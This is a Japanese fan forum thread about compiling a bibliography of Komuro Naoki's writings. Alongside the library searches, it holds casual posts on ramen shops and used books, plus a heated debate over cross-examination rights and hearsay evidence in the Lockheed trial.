>小野寺さんの未収録文献目録に掲載されることを期待したいと思います。
掲載しました。図書館にもリクエストしました。
なぜ今さら平野『刑訴』かと思われるかもしれませんが、
1ページより引用します。
第一篇 序 論
社会の秩序を維持する手段には種々のものがある。宗教、倫理、プロパガンダ等々々。国家が加える刑罰もまた、このようなソウシァル・コントロールの一つの手段である。しかし、刑罰は、これを受ける者に重大な侵害を加えるものであるから、これを加えるには慎重な、法律によって規定された手続によって行われなければならない。憲法が、「何人も、法律の定める手続によらなければ……刑罰を科せられない」(憲三一条)としているのもそのためである。この手続のうち、「どういう要件のもとで、どういう刑罰を加えるか」という部分は、刑事実体法または刑法と呼ばれる。この要件の存否を認定し、これに対する刑罰を定める部分が、狭義で刑事手続と呼ばれる。現在、刑事手続は、訴える者と訴えられる者との対立した手続であるので、刑事手続はまた、刑事訴訟とも呼ばれる。
この一つの社会的・法律的な制度としての刑事訴訟の、構造と機能(一)とを明らかにしようとするのが、本書の目的である。そのために、まず、刑事訴訟の根幹をなす、政策的な原理および理論的な原則について検討しておこう。(一) structural-functional なアプローチは、最近、社会学者、とくにパースンズやマートンらによって活用されているところであるが、その内容は必ずしも同じではない。
最近、私は小室直樹博士の構造-機能分析(structural-functional analysis)についての論文を読みこんできただけに、平野『刑訴』の一頁目にこの記述を見つけたときには感動しました。それにしても、川島先生以外の法律学(法解釈学)の本で“structural-functional”という言葉を目にするとは思いませんでした。平野龍一先生は、アメリカ留学されたんでしたっけ?
先ほど、最近改装された一風堂に●ラーメンを食べに行こうとしたところ、郵便受けに平野『刑訴』が届いていました。そこで、郵便局で本の代金を支払って、その足で一風堂に行き、
赤丸ラーメン玉子のせランチセット(950円)を食べてきたところです。
改装でずいぶん広くなった感じがしました。さて、この辺りはラーメン店の激戦区の一つでして、
せっかくですので色々食べ歩きました。その感想を順不同で思いつくままに書きますと…
・黒蘭のあぶりトロ肉らーめんは癖になって何度も行きました。こげたような味が非常に美味い。量的にもぴったりでした。
・名前は忘れましたが、黒蘭の近くの塩ラーメンが好きだったのですが、ギョーザ屋に変わってしまいました。
・明治通りを渡って、ベトナム麺のフォーのお店も好きでよく行ったんですが、無くなってしまいました。アッサリ系がないですなぁ。
・渡なべはスープが面白い味でしたね。初めて食べる味でした。
・べんてんは私には量が多すぎました。
・七福神 大黒店は噂どおりつけ麺がうまかったです。店員さんに「おすすめは何ですか?」と聞いたら、「オススメ?ナンデスカ?」と、聞き返されました。店員さんはどうやら日本語が不自由な外国の方で、まさに話しにならず、当初の予定通りつけ麺にしました。当初からつけ麺に決めていながら、寂しさのあまり店員さんに会話を求めてしまった自分の弱さを後悔した次第です。
・そのすぐ近くのとんこつ醤油ラーメン店(名前忘れた)は、真夜中3時ごろにお腹がすいて食べに行きました。ひとくち目はなんてコクのある美味いスープだと思ったのですが、食べているうちのこれは単に油っこいだけではないのかと思い直しました。
・天下一品はお腹がすいているときには、あのドロドロスープが胃を満たしてくれそうで行きましたが、チャーハンはまずかったですわ。
・タイ国ラーメン ティーヌーンにも行きましたが、1回でいいかな。トムヤンクンは大好きなんですが、あえてラーメンにして食べることはないですね。
・えぞ菊の味噌ラーメン(バターのせ)はスープが美味いんで、ときどき味噌味が恋しくなると食べに行きます。が、運動を全くしない今の私には量が多いのと、もやしもちょっと量が多いかな。
・俺の空は行きたかったんですが、結局長時間並ぶのが面倒で行かず仕舞いでした。あらら、平野『刑訴』について書こうと思っていたら、ついついラーメンの話になってしまったので、投稿を改めようと思います。
実家に帰るのは、4日の夜になりそうです。現在、ネットで注文した、
平野龍一『刑事訴訟法』(法律学全集43 有斐閣)
の到着待ちです。平野『刑訴』って今は絶版なんですなぁ。
無事到着したら、予定通り4日の高速バスに乗って、
寝ているうちに瀬戸大橋をわたって、5日の朝には動物王国です。
動物王国ではトコトコ歩く“タヌちゃん”を激写したいと思います。
Maysonさん、どうもありがとうございます。
私自身、目的合理性ということを知識として知ってはいるんですが、
目的合理性にしたがって受験勉強をしていたかというと、
はなはだ疑問でありまして、反省しています。
とにかく、頑張りたいと思います。そうそう、部屋の飾りということでしたら、
カッパシリーズはいろんな色があるので、
たくさん集めて配列を工夫すると、
お部屋のインテリアとしても大変良いと思います(笑)。
小室直樹博士も関連文献1982103でインタビューにこう答えられておられます。
「学術書と違って、通俗書というのはオモチャみたいでいろいろな色していてきれいです。」
つぶれ大福さん、関連文献情報ありがとうございます。
間違いなく関連文献だと思いますが、
私はもう確認の時間が取れないので、
小野寺さんの未収録文献目録に掲載されることを期待したいと思います。
小野寺さん、後はお任せしますぅ〜。
応援団長どの、ありがとうございます。
メールアドレスは変わりません。
お互い成功した暁には、飲みましょう!
私はビールが好きなので“brew pub”で、
クゥーーーーッ!と、美味いビールの喉越しを楽しみたいです。
ただ“brew pub”って、成功を祝して行くような場所ではないですね(笑)。
村上さんはいつ実家に帰られるのですか。実家に帰られた場合、メールアドレスはどうなるのでしょう。これからもいろいろ大変なことがあると思いますが、くじけずに頑張ってください。私は村上さんに何もしてあげられませんが、村上さんの成功を願う気持ちは誰よりも強いと自負しています。お互いに将来成功したら、一緒に飲みに行きましょう。
鷲田小彌太著『「本の定番」ブックガイド』
東洋経済新報社 定価(1500円+税)小室先生の「痛快!憲法学」が政治学の定番本として
紹介されていますよ。
おなぐさめのお言葉、ありがとうございます。
2000円のほうは、飾っておくことにしました。村上さんは、実家に帰って勉強をするのですね。
いろいろ日本教徒からのプレッシャーがあると思いますが、
気にせずに行動的禁欲してください。
もう既に目的合理性を備えているのだから、
あとは時間の問題でしょう。
がんばって下さい。
では。
村上さん、ご苦労様でした。まさに村上方式の有用性が証明されましたね。
どちらも貴重なものだと思います。私には、もうそのような体力は残っておりませぬ。よぼよぼになった体にむちうって、このサイトを見続けることが精一杯でございます。
Maysonさん、御愁傷様です…。そういえば、
かつてブックオフ巡礼の旅に出ていたころ、
あるブックオフの半額コーナーで買った本が、
次に立ち寄った店の100円(当時)コーナーにおいてあった、
なーんてことが良く有りました。ところで、最近のブックオフ105円コーナーの本、
だいたい地に「○済」ハンコが押されていますよね。
あれを見たとき、ちょっといまいましくならないですか?ブックオフといえば、天、地のヤケを特殊な機械で削るなどして、
本を綺麗にして売るというのがもともとの方針だったはずです。
その方針と真っ向から反する、あの「○済」ハンコは止めて欲しいですなぁ…。多分、105円で購入した人がその本をブックオフに持ち込んだ際、
店員が105円以上の高値をつけて買い取ることを防ぐためなんでしょうけど。
でも、なんとかなりませんかねぇ、ブックオフさん。
郵便物みたいに見えないインクでハンコを押すとか…。
その設備投資を全国のブックオフ店舗で行って、
日本経済を活性化させていただきたい。
そうするとですな、
波及効果で景気が良くなって、
人々はますます……
新刊本を買うようになったりして(笑)。
さて、先日、掲示板に以下のように書き込みました。>次に残された小室直樹文献発見の道は、不毛感と闘いながらの新聞の縮刷版の読破です!
>すでに、3回挑戦してはあきらめ、結局見つけた記事は毎日新聞の一つだけです(笑)。昨日、教養学部の図書館で6時間ほど4度目の挑戦をしてまいりました。
めくった縮刷版は、
1.毎日新聞 1975年9月〜1986年7月
2.朝日新聞 1972年1月〜12月、1979年1月〜3月
3.東京大学新聞 1979年4月〜1980年4月
4.週刊読書人 1976年、1979年、1980年
です。成果は、以下の通りです。
(1)1979007
「目のあたりに見た権力闘争」
毎日新聞 1979年11月8日朝刊 2面(2)1976103
「社会科学と危機的想像力」(山口昌男著)
毎日新聞 1976年12月20日・21日 夕刊感想。
やや不毛感が残りました。
探している途中も、
「あれ、オレ、何やってるんだろう」
という思いが何度か頭をよぎりました(笑)。
ま、一つだけでも一般文献が見つかったから良かったです。終わったあと、鏡をみたら、
白目部分を黒目に向かって横一直線に血管が浮き出ていました。でも、これで思い残すことはなくなりましたわい。
2000円でやっと購入した「超常識の方法」が、
100円で売っていました、、、。
思わず買ってしまいました、、、。
税込み105円、、、。
どうなってんだ?
でも,気づいているのかどうか分かりませんが,私のコメントへの言及はありません.ブログ
http://homepage.mac.com/biogon_21/iblog/B1604743443/
以下,私がコメントをつけた投稿
http://homepage.mac.com/biogon_21/iblog/B1604743443/C1028182794/E735228537/
http://homepage.mac.com/biogon_21/iblog/B1604743443/C526780001/E1467871653/
(1)1973004 政治過程のサイバネティックスモデル(3)1983036 『政治が悪いから世の中おもしろい』(著者自身の広告)
京都の物の巫女さん、はじめまして。
どうもありがとうございます。>私も以前国会図書館で先生の記事をかたっぱしにコピーいたしましたので、当ウェブサイトにおいてご掲示がない資料がありましたらご報告させていただきます。
私もかつて、こばやしまさきさんの「小室直樹ファン倶楽部」の文献一覧表をプリントアウトして、国会図書館で片っ端からコピーいたしました。今でもそのときのヨレヨレになった紙を持っています。
ですから、そのときのお気持ち、よーくわかります。掲示漏れの資料がありましたら、是非是非ご教示ください。
よろしくお願いします。
大先生におウェブサイトおめでとうございます。感動です。
私も以前国会図書館で先生の記事をかたっぱしにコピーいたしましたので、当ウェブサイトにおいてご掲示がない資料がありましたらご報告させていただきます。
(1)1970104 「パーソンズと『社会秩序』の問題」(厚東洋輔著) 思想 岩波書店 556 25、36-38(2)1971101 「社会科学における情報論的視座」(吉田民人著)『情報社会科学への道』 学習研究社 161-162
(3)1971102 「経済行動と社会行動(上)」(富永健一著) 思想 岩波書店 562 37
(4)1971103 「経済行動と社会行動(下)」(富永健一著) 思想 岩波書店 564 76、79、80
(5)1972102 「社会体系変動の構造機能分析」(小林淳一著) 社会学評論 日本社会学会 91 76、77
(6)1973102 「構造-機能分析の展開」(直井優著) 思想 岩波書店 578 38、40
(7)1973103 「ホマンズ社会学理論の準拠枠」(久慈利武著) 社会学評論 日本社会学会 92 45
(8)1973104 「昭和四七年度日本社会学会大会報告」(早瀬利雄著) 社会学評論 日本社会学会 93 83、85、86
(9)1973105 「社会学とサイバネティックス」(中山慶子著) 数理科学 ダイヤモンド社 119 107、112
(10)1973106 「法学とサイバネティックス」(松村良之著) 数理科学 ダイヤモンド社 119 119、120
(11)1973107 「交換過程分析の基本的枠組」(小坂勝昭・家坂和之著) 第46回日本社会学会大会報告要旨 日本社会学会 7-8
(12)1974102 「深層理論からみた社会学方法論」(青井和夫著) 思想 岩波書店 596 27、36
(13)1974103 「第四六回日本社会学会大会研究報告目次」 社会学評論 日本社会学会 96 127
(14)1974104 「規範過程について」(飯田義清著) 社会学評論 日本社会学会 99 56、62
(15)1974105 「社会システム論における情報-資源処理パラダイムの構想」(吉田民人著) 現代社会学 現代社会学会議編集 1(1) 16、25、27
(16)1974106 「書評 行為と価値 作田啓一著『価値の社会学』書評」(佐藤勉著) 現代社会学 現代社会学会議編集 1(1) 199
(17)1974107 「社会学における理論モデル」(中山慶子著) 現代社会学 現代社会学会議編集 1(2) 21、22
(18)1975103 「理論社会学における若干の基本問題」(塩原勉著) 社会学評論 日本社会学会 100 35
(19)1975104 「社会秩序の社会学理論」(小林淳一著) 社会学評論 日本社会学会 101 21
(20)1975105 「階級分析の一視角」(内藤考至著) 現代社会学 現代社会学会議編集 2(2) 10-12、18、26
(21)1975106 「対談 機能主義社会学理論の彫琢」(富永健一・吉田民人著) 現代社会学 現代社会学会議編集 2(2) 100、104
(22)1975107 「社会的交換と市場構造」(今田高俊著) 現代社会学 現代社会学会議編集 2(2) 141-142、145
(23)1975108 「社会過程分析の方法的規準」(新睦人著) 現代社会学 現代社会学会議編集 2(2) 148、178
(24)1976101 「学会大会シンポジウム報告 第一分科会 機能主義―その限界と可能性」(佐藤勉著) 社会学評論 日本社会学会 105 87
(25)1976102 「書評 現代日本社会学の研究成果(上)『社会学講座』合評」 現代社会学 現代社会学会議編集 3(2) 192
(26)1977103 「ウェーバー社会科学の分析論理」(鈴木正仁著) 社会学評論 日本社会学会 108 20-21
(27)1978102 「社会指標構築の現状と課題」(三重野卓著) 現代社会学 現代社会学会議編集 5(2) 29、31
(28)1978103 「福祉指標と福祉問題」(安藤文四郎著) 現代社会学 現代社会学会議編集 5(2) 56-57(29)1978104 「社会指標論の基礎視角」(山口弘光・金子勇著) 現代社会学 現代社会学会議編集 5(2) 58-59、68、70-71、78-79
(30)1978105 「社会発展の基礎理論」(友枝敏雄著) 現代社会学 現代社会学会議編集 5(2) 138、164
(31)1978106 「『社会科学の復興』をめざして」(小室ゼミナール) ソシオロゴス ソシオロゴス編集委員会 NO.2 31-33
(32)1979104 「目的設定系と機能概念」(公文俊平著) 現代社会学 現代社会学会議編集 6(2) 43-46、89(33)1979105 「主体システムの意思決定モデル」(長谷川公一著) ソシオロゴス ソシオロゴス編集委員会 NO.3 40、48、51
(34)1979106 「社会科学の黄昏ですか?」(小室ゼミナール) ソシオロゴス ソシオロゴス編集委員会 NO.3 80-81
(35)1980106 「多階層的社会システムの概念とモデル」(井上寛著) 現代社会学 現代社会学会議編集 7(2) 96、98、111-113、120
(36)1980107 「貧困と相対的不満の社会学的分析(抄)(1)」(平岡公一著) ソシオロゴス ソシオロゴス編集委員会 NO.4 10、16(37)1983127 「機能理論は不可能か?」(高木英至著) ソシオロゴス ソシオロゴス編集委員会 NO.7 146、153
(38)1984114 「小室直樹『偏差値が日本を滅ぼす』をこう読んでみよう」(志田基与師著) ソシオロゴス ソシオロゴス編集委員会 NO.8 51
(39)1986108 「<日本>」(大澤真幸著)ソシオロゴス ソシオロゴス編集委員会 NO.10 80
(40)1986109 「社会システム論の再編に向けて」(宮台真司著) ソシオロゴス ソシオロゴス編集委員会 NO.10 111、118
(41)1987105 「社会学的機能主義の射程」(宮台真司著) ソシオロゴス ソシオロゴス編集委員会 NO.11 97、115
(42)1987106 「小室ゼミナール」 ソシオロゴス ソシオロゴス編集委員会 NO.11 210
(1)1973004 政治過程のサイバネティックスモデル 数理科学 ダイヤモンド社 No.119 97-105(2)1973005 構造機能分析とカタストロフィーの理論 第46回日本社会学会大会報告要旨 49-50
(3)1983036 『政治が悪いから世の中おもしろい』著者自身の広告 ソシオロゴス ソシオロゴス編集委員会 NO.7 237
>これはネットのない時代のことですね。今はこのサイトで教えてもらうのが一番ラクチン(笑)確かにそうですね。
一応、サイトを立ち上げてから情報をいただいた場合には、詳細データ内にお名前を記録させてもらっているのですが(漏れがあったらすみません)、「さんからの情報」で検索すると、
- 以上、185件が検索結果として出力されました -
と表示されます。
603分の185ですから、3分の1に近い量のデータです。
本当にありがとうございました。これからも情報をお寄せいただきたくなにとぞよろしくお願いします。
>これはすごいですね。60年代の論文の延長としてでてきそうなテーマですが、この手の情報はいつも未定稿でおわってしまいますが、あったんですね。ものすごく興味わきますねー。でしょ、でしょ?
この記事が載っていたのは『数理科学』という雑誌で、
理学部の図書館でようやく見つけました。>わかります、わかります。まさに感動の瞬間ですね。まだまだあるんですねー。
次に残された小室直樹文献発見の道は、不毛感と闘いながらの新聞の縮刷版の読破です!
すでに、3回挑戦してはあきらめ、結局見つけた記事は毎日新聞の一つだけです(笑)。>あとは、いっしょにハーバードにいって文献探索をするのが楽しみですね。
いやぁ、楽しいでしょうねぇ。
>社会学の雑誌なのに言語論が結構多いので。ソシオ「ロゴス」ですからね。
橋爪さんの話で、小室先生は言語学もやってみたというようなこともどこかで読んだような。
小室先生は、結構その方面も詳しいような気がします。
>“小野寺方式”の効能は、これまで数々の文献が発見されてきたことで実証済みですが、これはネットのない時代のことですね。今はこのサイトで教えてもらうのが一番ラクチン(笑)
>(1)政治過程のサイバネティックスモデル
(2)構造機能分析とカタストロフィーの理論これはすごいですね。60年代の論文の延長としてでてきそうなテーマですが、この手の情報はいつも未定稿でおわってしまいますが、あったんですね。ものすごく興味わきますねー。
>これ、既出の文献と重複することのない内容ですので、発見したときは手がブルブルと震えました(笑)。
わかります、わかります。まさに感動の瞬間ですね。まだまだあるんですねー。あとは、いっしょにハーバードにいって文献探索をするのが楽しみですね。
新規関連文献42点もありました…
こりゃぁとても読みきれんなぁ。
さて今回「小室」の文字を探して、
頁をめくりまくった主要な雑誌は以下のものです。『思想』岩波書店 1960年代と1970年代
『社会学評論』1960年代〜1980年代
『現代社会学』1号〜10号
『ソシオロゴス』1号〜15号『ソシオロゴス』は読んでいる途中で、
吉本さんの『試行』を読んでいるような錯覚を覚えました。
というのは、社会学の雑誌なのに言語論が結構多いので。
橋爪さんの影響でしょうかね。あと、宮台さんが3つの巻頭論文を引っさげて登場した号が一番、綴じの割れがひどかったです。大人気ですなぁ。
『ソシオロゴス』に限らず、頁をめくりながら気がついたことですが、70年代には「小室」「構造-機能分析」の文字が「注」の中や「引用文献」のあちらこちらに出てくるのですが、80年代になるとプッツリと途絶えてしまいます。
内容的には、構造-機能分析についての議論の展開を追いかけるような形で、探索していったのですが、小室ゼミでの成果を発表された、以下の構造-機能分析批判が非常に重要な位置にあることがよくわかりました。
1984109 「危機に立つ構造−機能理論」(橋爪大三郎・志田基与師・恒松直幸共著) 社会学評論 日本社会学会 35(1)
コメントされた方が,コメントがある事に気づくのに,何ヶ月もかかるのかも知れません.
コメントのついた投稿が殆どない感じなので.
東京を離れる前に是が非でも、と思い、
昨日今日と大学内の数ヶ所の図書館を巡って小室直樹関連文献を探してきました。探索の方法は、
“小野寺方式(関連文献を手がかりに文献目録掲載レベルの文献を発見する方式)”と、
“村上方式(掲載されていそうな雑誌のバックナンバーを片っ端からめくって探す方式)”の併用です(笑)。“小野寺方式”の効能は、これまで数々の文献が発見されてきたことで実証済みですが、“村上方式”も時間があるときには有効です。
実例としては、『プレジデント』誌のバックナンバー10年分くらいをひたすらめくって、大宅壮一文庫の分厚い目録にも掲載されていない小室直樹文献を発見したことがありました。さて、今回の文献探索の旅の成果ですが、新規文献を3点、関連文献を20点余り(30点くらいになるかもしれません)発見しました。
後ほど整理してご報告しますが、とりあえず重要な新規文献のタイトル2つを記載しておきます。
(1)政治過程のサイバネティックスモデル
(2)構造機能分析とカタストロフィーの理論これ、既出の文献と重複することのない内容ですので、発見したときは手がブルブルと震えました(笑)。
浅田さんへ。
ありがとうございます。
今後ともどうぞよろしくお願いします!
>さて、浅田さんの情報なんですが、はたして関連文献として目録に掲載すべきかどうか、迷っておりました。私も迷いながらUPしました。(笑)
>わたくし、小野寺さんがこんな立派な基準を作ってくださるとは思っておらず、たいへん感激した次第です。
すごいですね。(驚!)小野寺さんにもご無沙汰していて申し訳ありません。
>したがいまして、今後はこの基準により、
情報を寄せていただきましても関連文献には載らない場合があるかもしれません。
>しかし、どうかお気を悪くされることなく、今後とも情報をいただければありがたく思います。
>情報はこの掲示板のログにキッチリ残りますし。>浅田さん、今回いただいた情報は小室本の宣伝の一種と考えて、目録への掲載はいたしませぬ。
>どうかお許しくだされ〜。
>m(__)mいえいえ、とんでもない。
これからも適宜情報が見つかればUPしますので、宜しく取捨選択してください。ではでは。
刑事免責について判断して、その時点で証拠能力を否定すれば、
以降、反対尋問権については判断する必要性があまり無いからでは
ないでしょうか?しかし、両方憲法上の重大な権利なんですけどね、、、。
なるほど。なにやら、二流リベラリスト的な発言のように解釈できますな。
それも、Angelixさんの善意の解釈があってのこと。
意味不明はかわらず。
>そこで、検事総長が改めてコーチャンらに対しては将来にわたり公訴を提起しないことを確約する旨の宣明をし、最高裁判所は検事総長の右確約が将来にわたり我が国の検察官によって遵守される旨の宣明をし、これらが右連邦地方裁判所に伝達された。これによって、以後コーチャンらに対する証人尋問が行われ、既に作成されていたものを含め、同人らの証人尋問調書が順次我が国に送付された。検察のやったことはメチャクチャです。
勝手に、刑事免責なる法律を作ってしまったのと同じ事。
以下、憲法を引用。第三十一条【法定手続の保障】
何人も、法律(刑事訴訟法等)の定める手続によらなければ、その生命若しくは自由を奪はれ、又はその他の刑罰を科せられない。裁判所は実際に第一審、第二審で有罪判決を下したのだから、
「田中は、法律の定める手続きによらずに、刑罰を科せられた。」
のだから、検察、裁判所は違憲。断じて。
最高裁は、田中に無罪判決を言い渡すべき。
証拠能力などの問題ではない。明確な最高法規違反。最近、経済学者の植草さんの裁判がありましたが、
検察のしたことは恐ろしいことだとおもいます。
証拠として、植草さんのコレクションを公開してしまうのです。
これで、有罪であろうが、無罪であろうが、
植草さんは、社会的責任を負うこととなってしまう。
それを、裁判所はなんとも思わないのでしょうか?
有罪率99パーセント。最強の検察=リバイアサン。
http://courtdomino.courts.go.jp/chomei2.nsf/ea145664a647510e492564680058cccc
以下を読んでみたら,最高裁判事の一人の補足意見だった.
嘱託尋問調書に証拠能力は認められないというのを,技術面では皆で同意して,証人を呼ぶ権利や反対尋問をする権利の侵害は補足意見だとは,どういう事だろう?
腕は体から突き出ているが口はへこんでいるという事でしょう.
で,腕の方が能動的なので,噛んだのではなく,腕を口に入れたのだとか,そう言いたいのでは?
1.追加 以下、4点。(1)1970103 経済社会学と法社会学の双対性について(一)(廣瀬和子著) 國家學會雜誌 国家学会事務所 83(3・4) 142(280)
(2)1969104 機能主義における変動理論の方法論的基盤(佐藤勉著) 社会学評論 日本社会学会 77 48
(3)1984112 「構造-機能主義による説明とテスト可能性」(直井優著) 社会学評論 35(1) 22、27
(4)1984113 「後期パーソンズの理論について」(田野崎昭夫著) 社会学評論 35(1) 37
2.削除 1998014のデータ。1998101との重複のため。
今、整理しながら関連文献を一つ一つ読み直しているのですが、面白いですなぁ。酔っ払ってストリーキングしたり警察官をぶん殴った話、
平岡正明と飲み屋で隣り合わせになり、一触即発状態になった話、
「君は国士である!」と叫んだ後、若宮清と「海ゆかば」を一緒に歌った話、etc…。そうそう、若宮清といえば、博士と若宮清との対談記事がアクセスランキングで16位というかなりな上位にきていますが、北朝鮮関係のせいでしょうね。
Angelixさん、また拝見しました。ところで、わたしは小室先生の影響で、
論理思考にはこだわりがありますが、以下の文章、>性器の形状を観れば男性が能動的で女性が受動的たるべきなのは明らか、と主張していてあきれてしまった。このロジックに従えば、私があなたの腕に噛み付いた場合、能動的なのはあなたの方だから私がとがめられることはないわけである。
正直、意味不明です。
「このロジック」とは、どんなロジックなのでしょうか?
相手が能動的だと、なぜ、とがめられないですむのでしょうか?
わたしにはわかりません。
わたしは、これは怪しげなレトリックにすぎないと思いますが、
いかがでしょうか?小室先生を批判する者には、論理的思考禁治産者が多いと思います。
論理的思考ができなければ、裁判を語る資格なし。
>これは、1969102と同じ号ですね。なんかみたことあるなあという気がしました。しかし、私のもってるコピーの記録では1969101と1969102が逆になってるなあ。
あら、ホントですねぇ。今、いろいろ文献情報を確認、整理しているんですが、
どうも、これ、わたしが小野寺さんからコピーをいただいた後で順番を変えていたみたいです。
記憶にないのですが、多分号数順ということだったのでしょう。
いただいたコピー上にあった小野寺さんの文字が、鉛筆で書き換えられていました。許してくださひ〜。
m(__)m
浅田さん、情報どうもありがとうございます。さて、浅田さんの情報なんですが、はたして関連文献として目録に掲載すべきかどうか、迷っておりました。
そこで、関連文献に関しては小野寺さんの独壇場ですので、
「どうしましょう〜〜〜」
と小野寺さんに泣きついたところ、
基準を書いて送ってきてくれました。わたくし、小野寺さんがこんな立派な基準を作ってくださるとは思っておらず、たいへん感激した次第です。
そこで、日付を入れてここに公布(笑)させていただきます。
小野寺さん、事後承諾になりますが、掲載させてもらってよかったですかね?
というわけで、今後は、こんな感じでいきたいと思います。したがいまして、今後はこの基準により、
情報を寄せていただきましても関連文献には載らない場合があるかもしれません。
しかし、どうかお気を悪くされることなく、今後とも情報をいただければありがたく思います。
情報はこの掲示板のログにキッチリ残りますし。浅田さん、今回いただいた情報は小室本の宣伝の一種と考えて、目録への掲載はいたしませぬ。
どうかお許しくだされ〜。
m(__)m
関連文献目録掲載基準
第1条 関連文献目録(以下「目録」という。)には、書籍、雑誌又は新聞記事等において小室直樹又はその著作物に関連する内容が書かれた文献を掲載するものとする。第2条 小室直樹が著した書籍の出版社等が宣伝広告として掲載したものは原則掲載せず、掲示板による投稿があった場合においても目録には掲載しないものとする。
ただし、その内容が新たな事実の発見となる場合又はその他重要な内容を含む場合は、この限りにあらず。第3条 この基準発効前に目録に掲載された文献は、当面掲載することとし、時期をみて整理する際に検討の上、不要と思われるものは、削除するものとする。
附則 この基準は平成16年6月20日より施行する。
小室直樹文献目録掲載審査会
例のブログでは,紹介されたものの他,
追記
立花隆、『ロッキード裁判批判を斬る』
という投稿があったので,新しい,立花隆、『ロッキード裁判批判を斬る』の方にコメントを入れてみました.
それにしても,私は法律系サイト副管理人だった(今もそうなのか?正式にはやめていない)のに刑事訴訟法226条と言われただけで目眩いがしてしまうというのも,御粗末な話ですね.>しかし、相手は基礎的なことを知らないので、理解ができないのではと思います。
そうですねえ.
立花隆氏の著書を読んで,それが正しいと信じこんでいるのでしょう.
渡部昇一教授が,“札束を見た人間が法廷に現れていない”と言った意味も理解出来ていなかったりして.
データをきちんと出しているのに何故訂正しないのだとでも言いたいのかも知れません.
あるとき,小佐野裁判の話で,可能性で有罪判決を出すとは何事だと書いたら,“クラッター氏は記憶違いだったと認めている”と反論してきた馬鹿がいましたからねえ.(今,関連の文献を図書館にあたるのが難しいので,NC4というところで過去にした議論を掘り返そうとしているが,何故だか捜し出せない.)http://homepage.mac.com/biogon_21/
(以下コメント)
渡部昇一教授が立花隆氏に論破された?遁走した?
どうやって遁走させれば良いのか全く見当もつきませんね.
( http://homepage.mac.com/biogon_21/ にもコメントしておきました.)
“角を縛った法は丸も三角の立花も渡部も縛る”からこそ,石島泰弁護士などが賛同に回るのです.
ある判例が成立すると困るかどうかは,直接の被告人が誰れであれ関係ありませんからね.
そんな事も理解出来ないのですか?
大体,そんなに御粗末な議論なら何故最高裁判所が最後には,渡部昇一教授や小室直樹博士などの論じた通り,反対尋問権が確保されないという点を理由に含めて嘱託尋問調書に証拠能力は認められないという判決を出したのですか?
なかなか、野獣系なコメントですよね。
しかし、相手は基礎的なことを知らないので、
理解ができないのではと思います。私が言いたいこことは、
「法律に定められていない手続きで、国民を裁くな。」
ということです。
相手のリアクションがあったら教えてください。
今度は字数制限で跳ねられずに済んだと思ったら,途中で途切れてしまいました.全く酷いソフトです.お陰で,舌足らずになってしまった.
http://homepage.mac.com/biogon_21/iblog/B1604743443/C1028182794/E735228537/index.html
ブログには,コメントを投稿する欄があるので,そこに,コメントを投稿しようとしていました.(また字数制限で跳ねられた…)
でも,隙のない文章を書いて,皆で反論した方が良いかななどと思いまして.(臆病か知らん?)法技術に入り込み過ぎて,実は Mayson さんの言っている事が正しいのかどうかよく分からないのですけど,
>彼の理論では、裁判で、被告の反対尋問を一切認めずに有罪判決を下すことがありうることになる。田中裁判に限らず。
>それは、憲法を否定することに他ならない。これは全くその通りですね.
それ以前に,このブロガーは,調書が二重の意味で伝聞であるから問題だとか,そういった事の意味さえ理解出来ていないのかも知れませんけど.(以下字数制限で跳ねられたコメント.)
>(当時一部のいわゆる「人権派弁護士」が、日本の刑事裁判一般の問題点を明らかにするため、という理由でこの点を突いたのは屁理屈としては一応筋が通って入る。しかしもしそうするなら、大弁護団を結成する資力のない被告の事件でそうすべきであろう)。“角を縛った法は丸も三角の立花も渡部も縛る”のです.
ある判例が出来ると困るかどうかというのは,直接裁判を受ける被告人が誰であろうと関係のない話なのです.
そんな事も理解出来ないのですか?>2人は裁判に証人として出廷してはいない。それゆえ、そもそも反対尋問が問題になることなどあり得ないのである。
と言うなど,愚かとしか言いようがありません.
出廷してもいない証人の反対尋問に晒されない証言を録った調書の類を証拠採用するのは伝聞法則違反です.
貴方は伝聞法則の何たるかも御存知ないのですね.>同じように反対尋問がない(捜査段階なので当たり前)検事調書や警察官による調書が証拠として採用されることは別段珍しくない。
その場合,証人は検察側が呼び出して出廷させねばなりません.コーチャン・クラッター両氏も,本来検察側が呼び出すべき証人です.
>しかしこの裁判を「反対尋問の権利が奪われたので憲法違反だ」とこの期に及んで主張するのは、繰り返すが、バカだけである。
最高裁判所は田中角栄の死後,別の裁判で,嘱託尋問調書の証拠採用は認められないという判決を出しました.
http://courtdomino2.courts.go.jp/promjudg.nsf/
>Considering the essential function of criminal justice, which should respect due process and the right of the defendant to cross-examine witnesses, the admissibility of the deposition in question should be denied for the following two reasons:
>First,(略)
>Second, it would leave problems concerning guaranteeing the defendant's right to cross-examination and that of confrontation if the court admits the depositions in question to the evidence for fact-finding.正に,反対尋問という,渡部昇一教授や小室直樹博士などが出していた論点でです.(確か,渡部昇一教授が,判決について,法律審で事実関係を論じて有罪にするのはおかしいと批判していたが)
そんな事を言っているのはバカだけだと言っている貴方はそれこそ断突にレベルの低い大馬鹿者ですね.
しかし、冷静に考えれば、おかしなことに気づきますよね。>2人は裁判に証人として出廷してはいない。
では何のために「出廷」したのでしょうか?
彼の主張どうり、捜査のために「出廷」したのだとすると、
司法が、行政権力に協力することになるのでは?
捜査のためなら、裁判所をとうさずに直接2人を取り調べればよい。
おそらく、彼は三権分立の意味から理解していない。>同じように反対尋問がない(捜査段階なので当たり前)検事調書や警察官による調書が証拠として採用されることは別段珍しくない。
そもそも、刑事訴訟法226条(コーチャン証言の場合はこの法文に基づく)
には、明確に「証人尋問」と規定されている。
これが警察等の取調べと同じで、反対尋問など問題にならないと
いうのならば、この例外を規定する法文が必ず必要になるはず。
なぜなら、憲法31条(法定手続きの保障)があるから。
その様な法律が無いのだから、「証人尋問」=「証人尋問」
原則「証人尋問」には、必ず被告の反対尋問権が認められるべきである。
「反対尋問が問題にならない」などということは断じてない。
検察等の取調べと、証人尋問が「同じ」などということはありえない。
同じとして論じること自体、無知をさらしている。
彼の理論では、裁判で、被告の反対尋問を一切認めずに有罪判決を
下すことがありうることになる。田中裁判に限らず。
それは、憲法を否定することに他ならない。と、私は思いますが、いかが?
ところで、Angelixさん、このコメントをどこかに投稿するのですか?
本当に,刑事裁判の何たるかも分からない似非人権派には腹が立ちます.石島泰弁護士のように,角栄裁判批判を出来た者が例外的なんですからねえ.
Google で,
http://courtdomino2.courts.go.jp/promjudg.nsf/
を見付けました.違憲判決も出ているはずなのですが,読むにはちょっと疲れています.(以下コメント草案)
